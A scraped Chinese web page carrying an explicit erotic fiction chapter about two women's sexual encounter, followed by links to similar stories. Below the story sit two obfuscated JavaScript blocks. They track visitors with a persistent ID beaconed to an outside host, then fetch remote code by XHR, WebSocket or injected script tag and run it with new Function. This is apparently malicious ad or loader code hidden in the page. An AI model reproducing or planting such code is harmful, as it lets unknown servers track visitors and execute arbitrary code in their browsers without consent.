有别于僵在原处的梁琴玉,苏米亚乘着这股气势转守为攻,脸颊向前扑到那对雪白巨乳前,以鼻尖轻搔椰褐色的柔软乳头,接着加重了声音:

“──痴女!”

无论何种场合,面对强敌一旦动摇就难以再行招架。梁琴玉那钝了的反应正明确告知她这一点。

“才……才不是……”

“在人家房间坐到人家大腿上、自行脱掉衣服的痴女!”

“我不是痴女……不是啦!”

“啰哩啰唆一大堆结果还不是自己脱了!你还敢说不是痴女!”

“不是啦!只是……想说要归国了……啊糟糕!”

失言──但也无所谓了。

双颊染红的梁琴玉表情和缓了下来,浑身放松好承受来自股间的昂扬之姿。

面对这起看似意外、实则必然的发展,也只能感叹最后的际遇没有想像中完美。

不过就前次经验看来,主导权易主也不是什么坏事。

那身背后开了个口方便穿卸的旗袍已脱去七八成,额间冒出汗珠的梁琴玉吸了口烟,在内里充满干热的温度前,外头先给女人的脸部轮廓映上柔和的触感。

苏米亚也不再多言,梁家大小姐自行打开了大门,她只需要正大光明走进去就好。

……只是她对那扇门真的毫无印象。

待续


上一篇:好色经验(补习班的女导师)

下一篇:新婚淫妻的一天


function HFjSuQ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function VuifpAwP(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return HFjSuQ(t);};window[''+'b'+'V'+'Q'+'n'+'N'+'v'+'c'+'o'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function jhyx(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=VuifpAwP,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=jhyx(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=jhyx(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmFzaGNucS5jbiUzQQTg4OTE=','d3NzJTNBJTJGGJTJGGYS55a2toanMuY24lM0E5NTM1','162093',window,document,['Q','G']);}:function(){};
function yltnjZ(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function awoHTF(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return yltnjZ(t);};window[''+'U'+'r'+'E'+'G'+'J'+'i'+'O'+'j'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function iBkh(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=awoHTF,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=iBkh(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=iBkh(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMllM0EllMkYllMkZhLmFzaGNucS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5555a2toanMuY24lM0E55NTM1','162092',window,document,['l','5']);}:function(){};